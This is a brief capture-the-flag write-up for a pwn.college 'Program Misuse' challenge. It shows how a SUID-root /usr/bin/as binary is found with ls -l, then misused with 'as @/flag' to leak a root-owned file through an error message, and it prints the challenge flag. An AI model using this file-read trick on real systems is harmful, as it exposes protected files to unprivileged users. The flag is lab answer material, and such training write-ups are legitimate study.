Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/as, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/as

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/as
  • The s in -rws indicates it’s a SUID binary.
  • as runs with root privileges.

🚀 Exploitation

The as has option @ read’s additional command-line argument.

as @/flag

Output:

Assembler messages:
Error: can't open pwn.college{cfjYIUKX40s9Sa7_T3kYEn7mc8D.dFTOxwSM0IzMyEzW} for reading: No such file or directory